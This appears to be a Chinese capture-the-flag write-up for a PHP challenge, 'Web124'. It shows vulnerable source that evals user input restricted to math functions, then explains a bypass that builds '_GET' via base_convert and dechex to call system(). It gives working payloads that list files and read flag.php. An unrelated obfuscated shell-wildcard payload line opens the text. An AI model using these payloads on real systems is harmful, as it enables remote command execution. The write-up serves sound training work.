code=<A;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.???
Web124
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
$pi是因为题目限制只能用这个,其他的不让用 首先$pi的值是_GET,定义这个变量是因为为了动态调用php函数 动态调用 PHP 函数,需要使用 $var{func} 这种形式,其中 $var 是一个字符串,{func} 表示函数名。否则,如果直接使用 $func,则 PHP 引擎会将其解释为一个未定义的常量,并且会导致语法错误。 为了调用system函数,就要构造
$pi{abs}($pi{acos});&abs=system&acos=ls
$pi{abs}($pi{acos});&abs=system&acos=tac flag.php
现在问题是如何构造system(cat flag.php) 参数为数字,又能将参数转化为字符串的函数,首先想到hex2bin这个函数,但是它并不在白名单内,所以需要构造hex2bin这个字符串,再拿去调用 先echo base_convert('hex2bin',36,10);得到hex2bin的10进制数字base_convert(37907361743,10,36)就等于hex2bin
再echo hexdec(bin2hex('_GET'));得到_GET的10进制数字为1598506324
所以hex2bin(dechex(1598506324))就等于_GET,为什么不能直接用16进制而非要传递一个10进制转换成16进制多此一举呢,也是因为16进制参数为0x123456它存在一个x,会匹配正则的第一项,从而将后续123456当成函数名导致不能过掉白名单
所以base_convert(37907361743,10,36)(dechex(1598506324))就等于_GET了
因为$pi 是一个字符串,而不是一个函数。$pi 的值是通过将 37907361743 和 1598506324 作为参数传递给 base_convert 和 dechex 函数计算得到的字符串。因此,如果直接使用 $pi{abs}($pi{acos}),PHP 引擎将无法识别 $pi 变量中的函数名。 为了解决这个问题,可以使用 PHP 变量变量解析器和函数调用链来动态调用函数。具体来说,$$pi{abs} 将 $pi{abs} 解释为一个变量名,然后使用 $pi{acos} 作为该变量名的值进行函数调用。因此,$$pi{abs}($$pi{acos}) 将会调用 $pi{abs}($pi{acos})。 所以要构造
$$pi{abs}($$pi{acos});&abs=system&acos=ls
$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

浙公网安备 33010602011771号